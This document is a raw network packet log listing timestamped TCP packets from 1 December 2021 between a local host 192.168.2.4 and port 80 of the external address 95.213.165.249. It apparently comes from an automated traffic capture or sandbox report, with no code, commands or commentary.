Dec 1, 2021 09:13:57.753932953 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.753952026 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.753968954 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.753973007 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.753992081 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754003048 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.754014969 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754033089 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754049063 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754059076 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.754070044 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754086971 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.754091024 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754110098 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754127026 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.754131079 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754148960 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754158020 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.754172087 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754189014 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754204988 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754216909 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.754229069 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754241943 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.754254103 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754271984 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754287004 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.754292965 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754312992 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754329920 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754348040 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754349947 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.754369020 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754386902 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.754389048 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754411936 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754412889 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.754432917 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754451990 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754453897 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.754472971 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754489899 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754492998 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.754512072 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754523039 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.754534006 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754553080 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754570007 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754585981 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.754590034 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754609108 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754626036 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754630089 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.754648924 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754653931 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.754671097 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754679918 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.754694939 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754712105 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754729986 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754731894 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.754751921 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754770041 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754772902 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.754791975 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754810095 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.754812002 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754832983 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754846096 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.754853964 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754873037 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754888058 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754904032 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.754908085 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754935026 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754944086 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.754956961 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.754970074 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.755008936 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.755299091 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.812896013 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.812932014 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.812953949 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.812988043 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813009024 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813029051 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813050032 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813071966 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813079119 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.813086987 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813110113 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813131094 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813153982 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813158989 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.813175917 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813194990 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.813198090 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813219070 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813241005 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813245058 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.813261986 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813271999 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.813283920 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813306093 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813327074 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813333988 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.813349009 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813360929 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.813370943 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813391924 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813417912 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.813479900 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813502073 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813519955 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.813523054 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813584089 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813591957 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.813606024 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813647032 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813666105 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.813668966 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813692093 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813710928 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.813714981 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813736916 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813755989 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.813756943 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813800097 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.813803911 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813885927 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813905001 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813925028 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813946009 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.813947916 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813967943 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.813991070 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.814017057 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.814069033 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814105988 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814155102 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.814277887 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814301968 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814325094 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814338923 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.814343929 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814364910 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814415932 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.814469099 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814485073 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814501047 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814512014 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.814516068 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814531088 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814546108 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814549923 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.814562082 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814577103 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814588070 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.814591885 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814606905 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814631939 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.814640999 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814647913 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.814657927 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814673901 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814680099 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.814691067 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814706087 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814724922 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.814733982 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814749956 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814755917 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.814765930 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814781904 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814781904 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.814799070 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814814091 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814830065 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814837933 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.814846039 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814861059 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814870119 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.814877033 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814892054 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814897060 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.814908028 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814924002 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814924002 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.814939022 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814951897 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.814955950 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.814990997 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.825830936 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.871082067 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.871140957 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.871179104 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.871203899 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.871217012 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.871244907 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.871272087 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.871282101 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.871323109 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.871357918 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.871359110 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.871398926 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.871412039 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.871437073 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.871473074 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.871484041 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.871510983 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.871548891 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.871555090 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.871587992 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.871627092 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.871632099 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.871664047 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.871704102 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.871709108 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.871742010 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.871778011 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.871789932 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.871818066 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.871856928 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.871887922 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.871896029 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.871936083 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.871942043 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.871973038 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.872013092 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.872023106 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.872051001 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.872087002 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.872123957 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.872162104 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.872174025 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.872178078 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.872200966 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.872240067 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.872253895 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.872276068 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.872314930 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.872318029 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.872354984 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.872391939 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.872409105 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.872430086 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.872467995 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.872490883 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.872505903 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.872545004 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.872560978 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.872581005 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.872621059 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.872627020 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.872658968 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.872695923 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.872705936 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.872735023 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.872772932 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.872805119 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.872811079 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.872868061 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.872880936 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.872921944 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.872957945 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.872971058 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.872997046 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.873035908 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.873051882 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.873073101 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.873111963 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.873126030 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.873148918 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.873189926 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.873199940 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.873229027 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.873265982 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.873280048 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.873305082 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.873342991 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.873353958 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.873379946 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.873419046 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.873428106 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.873455048 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.873493910 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.873505116 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.873533010 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.873570919 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.873580933 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.873609066 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.873646975 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.873653889 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.873684883 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.873727083 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.873733044 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.873764992 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.873804092 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.873816013 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.873846054 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.873883009 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.873893976 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.873922110 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.873960018 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.873982906 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.873997927 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.874037981 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.874043941 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.874075890 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.874114037 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.874125004 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.874154091 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.874191046 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.874202013 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.874228954 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.874267101 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.874279022 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.874305964 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.874342918 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.874353886 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.874381065 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.874419928 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.874430895 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.874459028 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.874495983 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.874505043 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.874533892 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.874571085 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.874583960 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.874624014 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.874664068 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.874674082 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.874702930 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.874738932 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.874752045 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.874775887 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.874814987 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.874825954 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.874852896 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.874893904 CET	80	49763	95.213.165.249	192.168.2.4
